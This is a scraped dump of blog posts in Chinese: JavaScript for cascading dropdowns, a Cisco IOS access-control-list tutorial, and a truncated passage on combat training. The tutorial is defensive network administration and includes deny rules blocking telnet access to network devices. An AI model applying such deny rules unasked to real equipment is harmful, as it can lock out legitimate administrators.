i;//set element id\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if(i == 0){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].onchange = function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.selectChange(this.id.charAt(this.id.length \u0026#8211; 1));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.hide(game.lv);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].onchange = function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.selectChange(this.id.charAt(this.id.length \u0026#8211; 1));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels.length++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.target.appendChild(this.sels[i]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.createOptions(\u0026quot;0\u0026quot;,this.sels[0]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.selectChange(0,1);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; },\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; selectChange : function (level)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; level = new Number(level); //change type to number\n\u0026nbsp;\u0026nbsp;\u0026nbsp; var selectObj = this.sels[level];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(level == 0){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; game.set(selectObj.value);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if( level \u0026gt;= game.lv )\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {return;}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; var nextSelectObj = this.sels[level+1];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; nextSelectObj.options.length = 0;//clear next select box\n\u0026nbsp;\u0026nbsp;\u0026nbsp; nextSelectObj.style.display = \u0026quot;\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; var currentCode = selectObj.value;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.createOptions(currentCode,nextSelectObj);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if( ( level + 1 ) \u0026lt; game.lv )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.selectChange( level + 1 ,nextSelectObj);\n},\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; createOptions : function( code, sel){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; var datas = code == \u0026quot;0\u0026quot; ? cat.getlevel(1) : cat.getsub( code );\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var item in datas)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(item != \u0026#8216;len\u0026#8217;)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; var op = document.createElement(\u0026quot;option\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; op.text = datas[item].name;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; op.value = item;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(server_code \u0026amp;\u0026amp; item == server_code.substr(0,item.length)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; op.selected = \u0026#8216;true\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sel.options.add( op );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; },\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; hide : function(level){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var i = this.sels.length; i \u0026gt; level; i\u0026#8211;){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if(this.sels[i])\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].style.display = \u0026quot;none\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\ncomboBox.init();\n\u0026lt;/script\u0026gt;\n","permalink":"https://hessian.cn/p/594.html","summary":"by GiK\n这里面用到了我前面写的那个数据存取对象\n\u0026lt;script type=\u0026quot;text/javascript\u0026quot;\u0026gt;\nfunction $(o) {\nreturn document.getElementById(o);\n}\ngame = {\ncode : new String(),\nlv\u0026nbsp;\u0026nbsp;\u0026nbsp; : new Number(),\nset\u0026nbsp;\u0026nbsp; : function(code){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.code = code;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; switch(code.substr(0,3)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;001\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; game.lv = 3;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;002\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; game.lv = 2;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n}\n\u0026lt;?php\n$code = array_flip(LJSConfig::$game_level);\n?\u0026gt;\ngame.set(\u0026#8216;\u0026lt;?= array_shift($code) ?\u0026gt;\u0026#8217;);\nvar server_code = \u0026quot;001002003001\u0026quot;;\ncomboBox = {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; target\u0026nbsp;\u0026nbsp; : $(\u0026#8216;catbox\u0026#8217;),//where to add the selectbox\n\u0026nbsp;\u0026nbsp;\u0026nbsp; sels : new Object(),\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; init : function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels.length = new Number(0);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var i=0; i\u0026lt;4; i++){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i] = document.createElement(\u0026quot;select\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].id = \u0026quot;sl\u0026quot; + i;//set element id\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if(i == 0){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].onchange = function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.selectChange(this.id.charAt(this.id.length \u0026#8211; 1));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.hide(game.lv);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].onchange = function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.selectChange(this.id.charAt(this.id.length \u0026#8211; 1));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels.length++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.target.appendChild(this.sels[i]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.createOptions(\u0026quot;0\u0026quot;,this.sels[0]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.selectChange(0,1);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; },\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; selectChange : function (level)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; level = new Number(level); //change type to number\n\u0026nbsp;\u0026nbsp;\u0026nbsp; var selectObj = this.sels[level];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(level == 0){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; game.set(selectObj.value);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if( level \u0026gt;= game.lv )\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {return;}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; var nextSelectObj = this.sels[level+1];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; nextSelectObj.options.length = 0;//clear next select box\n\u0026nbsp;\u0026nbsp;\u0026nbsp; nextSelectObj.style.display = \u0026quot;\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; var currentCode = selectObj.value;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.createOptions(currentCode,nextSelectObj);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if( ( level + 1 ) \u0026lt; game.lv )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; comboBox.selectChange( level + 1 ,nextSelectObj);\n},\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; createOptions : function( code, sel){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; var datas = code == \u0026quot;0\u0026quot; ? cat.getlevel(1) : cat.getsub( code );\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var item in datas)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(item != \u0026#8216;len\u0026#8217;)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; var op = document.createElement(\u0026quot;option\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; op.text = datas[item].name;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; op.value = item;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(server_code \u0026amp;\u0026amp; item == server_code.substr(0,item.length)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; op.selected = \u0026#8216;true\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sel.options.add( op );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; },\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; hide : function(level){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var i = this.sels.length; i \u0026gt; level; i\u0026#8211;){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if(this.sels[i])\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].style.display = \u0026quot;none\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\ncomboBox.init();\n\u0026lt;/script\u0026gt;\n","title":"自动创建selectbox的多级联动下拉框"},{"content":"技术从来都是一把双刃剑，网络应用与互联网的普及在大幅提高企业的生产经营效率的同时，也带来了诸如数据的安全性，员工利用互联网做与工作不相干事等负面影响。如何将一个网络有效的管理起来，尽可能的降低网络所带来的负面影响就成了摆在网络管理员面前的一个重要课题。\nA公司的某位可怜的网管目前就面临了一堆这样的问题。A公司建设了一个企业网，并通过一台路由器接入到互联网。在网络核心使用一台基于IOS的多层交换 机，所有的二层交换机也为可管理的基于IOS的交换机，在公司内部使用了VLAN技术，按照功能的不同分为了6个VLAN。分别是网络设备与网管 (VLAN1，10.1.1.0/24)、内部服务器(VLAN2)、Internet连接(VLAN3)、财务部（VLAN4）、市场部 (VLAN5)、研发部门（VLAN6），出口路由器上Fa0/0接公司内部网，通过s0/0连接到Internet。每个网段的三层设备（也就是客户机 上的缺省网关）地址都从高位向下分配，所有的其它节点地址均从低位向上分配。该网络的拓朴如下图所示：　自从网络建成后麻烦就一直没断过，一会儿有人试图登录网络设备要捣乱；一会儿领导又在抱怨说互联网开通后，员工 成天就知道泡网；一会儿财务的人又说研发部门的员工看了不该看的数据。这些抱怨都找这位可怜的网管，搞得他头都大了。那有什么办法能够解决这些问题呢？答 案就是使用网络层的访问限制控制技术――访问控制列表（下文简称ACL）。\n那么，什么是ACL呢？ACL是种什么样的技术，它能做什么，又存在一些什么样的局限性呢？\nACL的基本原理、功能与局限性\n网络中常说的ACL是Cisco IOS所提供的一种访问控制技术，初期仅在路由器上支持，近些年来已经扩展到三层交换机，部分最新的二层交换机如2950之类也开始提供ACL的支持。只 不过支持的特性不是那么完善而已。在其它厂商的路由器或多层交换机上也提供类似的技术，不过名称和配置方式都可能有细微的差别。本文所有的配置实例均基于 Cisco IOS的ACL进行编写。\n基本原理：ACL使用包过滤技术，在路由器上读取第三层及第四层包头中的信息如源地址、目的地址、源端口、目的端口等，根据预先定义好的规则对包进行过滤，从而达到访问控制的目的。\n功能：网络中的节点资源节点和用户节点两大类，其中资源节点提供服务或数据，用户节点访问资源节点所提供的服务与数据。ACL的主要功能就是一方面保护资源节点，阻止非法用户对资源节点的访问，另一方面限制特定的用户节点所能具备的访问权限。\n配置ACL的基本原则：在实施ACL的过程中，应当遵循如下两个基本原则：\n最小特权原则：只给受控对象完成任务所必须的最小的权限\n最靠近受控对象原则：所有的网络层访问权限控制\n局限性： 由于ACL是使用包过滤技术来实现的，过滤的依据又仅仅只是第三层和第四层包头中的部分信息，这种技术具有一些固有的局限性，如无法识别到具体的人，无法 识别到应用内部的权限级别等。因此，要达到end to end的权限控制目的，需要和系统级及应用级的访问权限控制结合使用。\nACL基本配置\nACL配置技术详解\n\u0026ldquo;说那么多废话做什么，赶快开始进行配置吧。\u0026rdquo;，A公司的网管说。呵呵，并不是我想说那么多废话，因为理解这些基础的概念与简单的原理对后续的配置和排错都是相当有用的。说说看，你的第一个需求是什么。\n\u0026ldquo;做为一个网管，我不期望普通用户能telnet到网络设备\u0026rdquo;――ACL基础\n\u0026ldquo;补充一点，要求能够从我现在的机器(研发VLAN的10.1.6.66)上telnet到网络设备上去。\u0026rdquo;。hamm，是个不错的主意，谁都不希望有 人在自己的花园中撤野。让我们分析一下，在A公司的网络中，除出口路由器外，其它所有的网络设备段的是放在Vlan1中，那个我只需要在到VLAN 1的路由器接口上配置只允许源地址为10.1.6.66的包通过，其它的包通通过滤掉。这中只管源IP地址的ACL就叫做\n标准IP ACL：\n我们在SWA上进行如下的配置：\naccess-list 1 permit host 10.1.6.66\naccess-list 1 deny any\nint vlan 1\nip access-group 1 out\n这几条命令中的相应关键字的意义如下：\naccess-list：配置均ACL的关键字，所有的ACL均使用这个命令进行配置。\naccess-list后面的1：ACL号，ACL号相同的所有ACL形成一个组。在判断一个包时，使用同一组中的条目从上到下逐一进行判断，一遇到满足的条目就终止对该包的判断。1-99为标准的IP ACL号，标准IP ACL由于只读取IP包头的源地址部分，消耗资源少。 permit/deny：操作。Permit是允许通过，deny是丢弃包。\nhost 10.1.6.66/any：匹 配条件，等同于10.1.6.66 0.0.0.0。刚才说过，标准的ACL只限制源地址。Host 10.1.6.66(10.1.6.66 0.0.0.0)的意思是只匹配源地址为10.1.6.66的包。0.0.0.0是wildcards，某位的wildcards为0表示IP地址的对应 位必须符合，为1表示IP地址的对应位不管是什么都行。简单点说，就是255.255.255.255减去子网掩码后的值，0.0.0.0的 wildcards就是意味着IP地址必须符合10.1.6.66，可以简称为host 10.1.6.66。any表示匹配所有地址。\n注意：IOS中的ACL均使用wildcards，并且会用wildcards对IP地址进行严格的对齐，如你输入一条access-list 1 permit 10.1.1.129 0.0.0.31，在你show access-list看时，会变成access-list 1 permit 10.1.1.128 0.0.0.31，PIXOS中的ACL均使用subnet masks，并且不会进行对齐操作。\nint vlan1///ip access-group 1 out：这两句将access-list 1应用到vlan1接口的out方向。其中1是ACL号，和相应的ACL进行关联。Out是对路由器该接口上哪个方向的包进行过滤，可以有in和out两种选择。\n注意：这里的in/out都是站在路由器或三层模块（以后简称R）上看的，in表示从该接口进入R的包，out表示从该接口出去的包。\n好了，这就是一个最基本的ACL的配置方法。什么，你说普通用户还能telnet到RTA？那你在int vlan3上现加一个ip access-group 1 out吧。Hammmm，等等，你这样加上去普通用户就访问不了internet了。让我们把刚才的ACL去掉，重新写一个。\n回忆一下，我们的目的是除了10.1.6.66能够进行telnet操作外，其它用户都不允许进行telnet操作。刚才我们说过，标准的IP ACL只能控制源IP地址，不能控制到端口。要控制到第四层的端口，就需要使用到：\n扩展的IP ACL的配置\n先看看配置实例吧。在SWA上进行如下配置：\nint vlan 1\nno ip access-group 1 out\nexit\nno access-list 1\naccess-list 101 permit tcp host 10.1.6.66 any eq telnet\naccess-list 101 deny tcp any any eq telnet\nint vlan 1\nip access-group 101 out\nint vlan 3\nip access-group 101 out\n你应该注意到到这里的ACL有一些变化了，现在对变化的部分做一些说明：\naccess-list 101：注 意这里的101，和刚才的标准ACL中的1一样，101是ACL号，表示这是一个扩展的IP ACL。扩展的IP ACL号范围是100-199，扩展的IP ACL可以控制源IP、目的IP、源端口、目的端口等，能实现相当精细的控制，扩展ACL不仅读取IP包头的源地址/目的地址，还要读取第四层包头中的源 端口和目的端口，的IP在没有硬件ACL加速情况下，会消耗大量的CPU资源。\nint vlan 1///no ip access-group 1 out///exit///no access-list 1：取消access-list 1，对于非命名的ACL，可以只需要这一句就可以全部取消。注意，在取消或修改一个ACL前，必须先在它所应用的接口上先把应用给no掉，否则会导致相当严重的后果。\ntcp host 10.1.6.66 any eq telnet：匹配条件。完整格式为：协议 源地址 源wildcards [关系] [源端口] 目的地址 目的wildcards [关系] [目的端口]。其 中协议可以是IP、TCP、UDP、EIGRP等，[]内为可选字段。仅在协议为tcp/udp等具备端口号的协议才有用。关系可以是eq(等于)、 neq（不等于）、lt(大于)、range（范围）等。端口一般为数字的1-65535，对于周知端口，如23(服务名为telnet)等可以用服务名 代替。源端口和目的端口不定义时表示所有端口。\n把这个ACL应用上去后，用户们开始打电话来骂娘了，因为他们都访问不了Internet了，是哪里出了问题了呢？\n注 意：所有的ACL，缺省情况下，从安全角度考虑，最后都会隐含一句deny any(标准ACL)或deny ip any any（扩展IP ACL）。所以在不了解业务会使用到哪些端口的情况下，最好在ACL的最后加上一句permit ip any any，在这里就是access-list 101 permit ip any any。\n现在用户倒是能够 访问Internet了，但我们的可怜的网管却发现普通用户还是能够telnet到他的SWA上面，因为SWA上面有很多个网络接口，而且使用扩展的 ACL会消耗很多的资源。有什么简单的办法能够控制用户对网络设备的Telnet访问，而又不消耗太多的资源呢？这就需要使用到：\n对网络设备自身的访问如何进行控制的技术\n让我们先把刚才配置的ACL都取掉(具体配置略，不然后读者会以为我在骗稿费了。)，再在每台网络设备上均进行如下配置：\naccess-list 1 permit host 10.1.6.66\nline vty 0 4(部分设备是15)\naccess-class 1 in\n这样就行了，telnet都是访问的设备上的line vty，在line vty下面使用access-class与ACL组进行关联，in关键字表示控制进入的连接。\n就这么简单？wk，你丫是不是在玩我们，为什么还要绕一大圈？臭鸡蛋和烂西红柿开始在70的脑袋上方狂飞。(5555555，偶也只是想向大家把ACL的基础知识讲的明白一些的嘛)。经过刚才的配置，我们可以理出一个简单的ACL配置步骤了：\n分析需求，找清楚需求中要保护什么或控制什么；为方便配置，最好能以表格形式列出。在本文的后面会举例的。\n分析符合条件的数据流的路径，寻找一个最适合进行控制的位置；\n书写ACL，并将ACL应用到接口上；\n测试并修改ACL。\n当A公司的领导知道在网管能够控制普通用户对网络设备的访问后，我们的可怜的网管就收到了很多看起来很难的要求。领导要求网管：\nACL执行顺序\n\u0026ldquo;使用ACL技术对网络访问进行精细化控制\u0026rdquo;――ACL进阶配置\n命名的IP ACL\n由于最近服务器网段的机器老是被人用telnet、rsh等手段进行攻击，我们只对员工开放web服务器(10.1.2.20)所提供的http、 FTP服务器(10.1.2.22)提供的FTP服务和数据库服务器(10.1.2.21：1521)。好吧，我们着手进行配置，可是我们的ACL刚写到 一半，发现前面写的几句好像有问题，一个no命令输进去，整个ACL都没了，唉，一切都得重来，难道就没有一个变通的办法么？有，这里我就需要用到：\n命名的IP acl提供的两个主要优点是：\nl 解决ACL号码不足的问题。\nl 可以自由的删除ACL中的一条语句，而不必删除整个ACL。\n命名的ACL的主要不足之处在于无法实现在任意位置加入新的ACL条目。比如上面那个例子中，我们进行了如下的配置：\nip access-list extend server-protect\npermit tcp 10.1.0.0 0.0.255.255 host 10.1.2.20 eq www\npermit tcp 10.0.0.0 0.0.255.255 host 10.1.2.21 eq 1521\npermit tcp 10.1.0.0 0.0.255.255 host 10.1.2.22 eq ftp\n配置到这里，我们发现permit tcp 10.0.0.0 0.0.255.255 host 10.1.2.21 eq 1521这句配错了，我们得把它给取掉并重新配置，OK，我样可以简单的进行如下配置：\nip access-list extend server- protect\nno permit tcp 10.0.0.0 0.0.255.255 host 10.1.2.21 eq 1521\npermit tcp 10.1.0.0 0.0.0.255 host 10.1.2.21 eq 1521\nexit\nint vlan 2\nip access-group server- protect\n就可以了。现在对命名的IP access-list的配置方法解释如下：\nip access-list extend server-access-limit：ip access-list相当于使用编号的access-list中的access-list段。extend表明是扩展的ACL(对应地， standard表示标准的ACL)。server-access-limit是access-list的名字，相当于基于编号的ACL中的编号字段。\npermit tcp 10.1.6.0 0.0.0.255 host 10.1.2.21 eq 1521：这一段和使用编号的access-list的后半段的意义相同，都由操作和条件两段组成。\n其实基于名字的IP ACL还有一个很好的优点就是可以为每个ACL取一个有意义的名字，便于日后的管理与维护。所以Ultra工作室强烈建议各位看官在实际工作中均使用命名的ACL。\n进一步完善对服务器数据的保护――ACL执行顺序再探讨\n在服务器网段中的数据库服务器中存放有大量的市场信息，市场部门的人员不希望研发部门访问到数据库服务器，经过协商，同意研发部门的领导的机器（IP地址为10.1.6.33）可以访问到数据库服务器。这样，我们的服务器网段的的访问权限部分如下表所示：\n协议 源地址 源端口 目的地址 目的端口 操作 TCP 10.1/16 所有 10.1.2.20/32 80 允许访问 TCP 10.1/16 所有 10.1.2.22/32 21 允许访问 TCP 10.1/16 所有 10.1.2.21/32 1521 允许访问 TCP 10.1.6/24 所有 10.1.2.21/32 1521 禁止访问 TCP 10.1.6.33/32 所有 10.1.2.21/32 1521 允许访问 IP 10.1/16 N/A 所有 N/A 禁止访问 ","permalink":"https://hessian.cn/p/333.html","summary":"技术从来都是一把双刃剑，网络应用与互联网的普及在大幅提高企业的生产经营效率的同时，也带来了诸如数据的安全性，员工利用互联网做与工作不相干事等负面影响。如何将一个网络有效的管理起来，尽可能的降低网络所带来的负面影响就成了摆在网络管理员面前的一个重要课题。\nA公司的某位可怜的网管目前就面临了一堆这样的问题。A公司建设了一个企业网，并通过一台路由器接入到互联网。在网络核心使用一台基于IOS的多层交换 机，所有的二层交换机也为可管理的基于IOS的交换机，在公司内部使用了VLAN技术，按照功能的不同分为了6个VLAN。分别是网络设备与网管 (VLAN1，10.1.1.0/24)、内部服务器(VLAN2)、Internet连接(VLAN3)、财务部（VLAN4）、市场部 (VLAN5)、研发部门（VLAN6），出口路由器上Fa0/0接公司内部网，通过s0/0连接到Internet。每个网段的三层设备（也就是客户机 上的缺省网关）地址都从高位向下分配，所有的其它节点地址均从低位向上分配。该网络的拓朴如下图所示：　","title":"网络层访问权限控制技术－ACL详解"},{"content":"提高身体的战斗水平，应从哪几方面实现呢?\n其实，格斗能力的提高就是神经机能的改善、运动素质的增长和行动技术的熟练。因此，科学的训练不外乎心理训练、素质训练和技术训练。具体到训练的方式方法，我们的方案是把能迅速提高战斗水平的训练分为基础训练、爆发力训练、抵抗力训练和实战训练。\n纯粹的基础训练一般作为训练的开始，它包括如长跑、站桩的耐力训练；伸筋、跳绳等柔韧训练。还要掌握一些最基本、最简便的攻防动作。而力量训练作为一种辅助的练习，对于那些肌肉发育不好的人来说是必要的，但应特别注意保持有肩部和胯部各肌肉的放松。\n在执行了短期的基础训练后，就要以爆发力训练与实战训练为主，以抵抗力训练为辅，交叉进行训练。同时，不应放弃基础训练，只是把他当作一项准备和整理的活动。\n爆发力训练是\u0026ldquo;功力\u0026rdquo;增长的主要方式。一般采用具有一定阻力的弹性或突发性动作进行反复操练。空操是在没有器械的辅助下，反复进行几个角度的发力动作。 其要点在于注重动作的急停，用以发展动作反方向的劲力。抖杆是提高爆发力的极有效的方法。通过使蜡杆朝某个方向的反复抖动，努力把劲力贯于杆头，使杆躯浑 然一体。击物训练是爆发力与进攻技术的结合训练，包括击打能主要提高速度的梨球、主要提高力量的重沙袋和主要提高协调性的吊球，还包括击打能提高灵敏反应 的那些无常规晃动的手靶。另外，各个拳派中那些有价值的练法，以及其它运动项目的训练方法也值得我们借鉴。\n身体不可能刀枪不入，故抵抗 能力的训练只能是一种辅助性的训练。在剧烈的运动中，甚至在挫折中能坚持下去，最终夺得胜利，不仅要靠顽强的意志，也要靠身体的抗击能力。提高抵抗能力一 般采用实心球或硬质棍棒滚压腹部与四肢的方法，也可用硬中有软的物体去冲撞某部位。训练时注意呼吸配合，禁止使用坚硬物体或对要害部位练习。\n把实战视为艰苦和危险，并作为最后才能进行的高级训练是不对的。我们在进行了短期的基础训练后，就应把实战作为家常便饭。但为了安全还是应戴拳套，禁穿 